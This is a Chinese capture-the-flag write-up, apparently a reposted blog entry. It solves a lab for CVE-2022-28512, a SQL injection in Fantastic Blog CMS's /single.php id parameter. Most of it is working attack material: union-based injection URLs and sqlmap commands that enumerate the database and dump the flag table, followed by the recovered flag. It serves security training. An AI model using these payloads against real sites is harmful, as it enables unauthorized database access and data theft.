春秋云镜:CVE-2022-28512(SQL注入)

目录

一、题目

1.手工注入

2.sqlmap


一、题目

 介绍:

        Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。

/single.php 官方给出的这个目录 我没有扫出来 也没有跑出来。。。

直接访问ip:http://xxx/single.php?id=1

 id=1'报错:验证存在sql注入漏洞

 对于存在sql注入漏洞 无非就是两种:

1.手工注入 2.sqlmap

1.手工注入

http://xxx.com/single.php?id=1' and 1=2 union select 1,2,3,4,5,6,7,8,9 --+

 注入点2 

查询当前库:

http://eci-2zecserefv52em912u7k.cloudeci1.ichunqiu.com/single.php
?id=1' and 1=2 union select 1,database(),3,4,5,6,7,8,9 --+

查表: 

http://xxx.com/single.php
?id=1' and 1=2 union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()limit 10,1 --+

 flag表

 查询列:

http://xxx.com/single.php
?id=1' and 1=2 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag'limit 0,1 --+

 查询字段:

http://eci-2zecserefv52em912u7k.cloudeci1.ichunqiu.com/single.php
?id=1' and 1=2 union select 1,flag,3,4,5,6,7,8,9 from flag limit 0,1 --+

得出falg  

2.sqlmap

两种方法:

直接抓包 写入txt 直接跑

也可以爆url加注入的点

 burp抓包

 存入文件.txt 

sqlmap一把梭哈:

爆库:

python sqlmap.py -l xxx.txt --batch -dbs   //跑文件

python sqlmap.py -u http://xxx.com/single.php?id=1 --batch -dbs    //跑url

 爆出来ctf库:

 爆ctf表:

 python sqlmap.py -l xxx.txt --batch -D "ctf" --tables

爆falg列:

python sqlmap.py -l xxx.txt --batch -D "ctf" -T "flag" --columns

 爆字段值:

python sqlmap.py -l xxx.txt --batch -D "ctf" -T "flag" -C "flag" --dump

 flag{4448e436-7e63-4b52-85b9-5b9aa7bfc549} 

猜你喜欢

转载自blog.csdn.net/m0_65712192/article/details/130252353